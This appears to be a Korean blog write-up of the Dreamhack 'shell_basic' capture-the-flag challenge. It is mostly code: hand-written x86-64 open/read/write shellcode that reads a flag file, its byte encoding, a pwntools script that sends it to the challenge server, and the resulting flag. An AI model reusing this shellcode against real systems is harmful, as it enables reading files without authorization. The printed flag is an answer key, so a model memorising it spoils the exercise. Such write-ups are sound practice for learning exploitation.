LEVEL 1 - shell_basic

곽무경·2022년 6월 29일
0

System Hacking Quiz

목록 보기
5/21

flag 위치와 이름 → /home/shell_basic/flag_name_is_loooooong

필요한 절차

  1. open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)
  2. read(fd, buf, 0x30)
  3. write(stdout, buf, 0x30)
1  push 0x00

0x00을 먼저 스택에 넣어주지 않으면 문자열이 제대로 인식되지 않았음.
문자열의 끝을 나타내는 용도인 것으로 추정

2  mov rax, 0x676e6f6f6f6f6f6f ; oooooong
3  push rax
4  mov rax, 0x6c5f73695f656d61 ; ame_is_l
5  push rax
6  mov rax, 0x6e5f67616c662f63 ; c/flag_n
7  push rax
8  mov rax, 0x697361625f6c6c65 ; ell_basi
9  push rax
10 mov rax, 0x68732f656d6f682f ; /home/sh 리틀 엔디안 + 스택

11 mov rdi, rsp                ; rdi=rsp
12 xor rsi, rsi                ; rsi=0
13 xor rdx, rdx                ; rdx=0
14 mov rax, 0x2                ; open
15 syscall                     ; open("/home/shell_basic/flag_name_is_loooooong", RD_ONLY, NULL)

16 mov rdi, rax                ; rdi=rax(fd는 open의 반환값)
17 mov rsi, rsp
18 sub rsi, 0x30               ; rsi는 읽은 데이터를 저장할 주소, rsp-0x30으로 지정
19 mov rdx, 0x30               ; rdx=0x30(길이)
20 xor rax, rax                ; read
21 syscall                     ; read(fd, buf, 0x30)

22 mov rdi, 0x1                ; rdi=0x1(stdout)
23 mov rax, 0x1                ; write (나머지는 read에서 사용했던 것을 그대로 사용)
24 syscall                     ; write(stdout, buf, 0x30)

이를 write.asm에 작성하고 기계어로 변환시키는 과정을 거친다.

$cat > write.asm
...
$nasm -f elf64 write.asm
$objcopy --dump-section .text=write.bin write.o
$xxd write.bin

여기서 기계어만 가져오면

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

이다. 이제 pwntools을 이용해 이를 host3.dreamhack.games, 13846로 전송해야 한다.
(포트는 달라질 수 있음)
파이썬 코드를 작성하여 실행한다.

from pwn import *

p=remote("host3.dreamhack.games", 13846)     # 원격 익스플로잇
context.arch="amd64"                         # x86-64로 지정

shellcode=b"\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)    # "shellcode: "가 출력되고나서 shellcode 전송
print(p.recv())                              # 내용 받아서 출력

DH{ca562d7cf1db6c55cb11c4ec350a3c0b} 라는 내용을 얻을 수 있다.

BytesWarning은 왜 발생하는지 잘 모르겠다..

0개의 댓글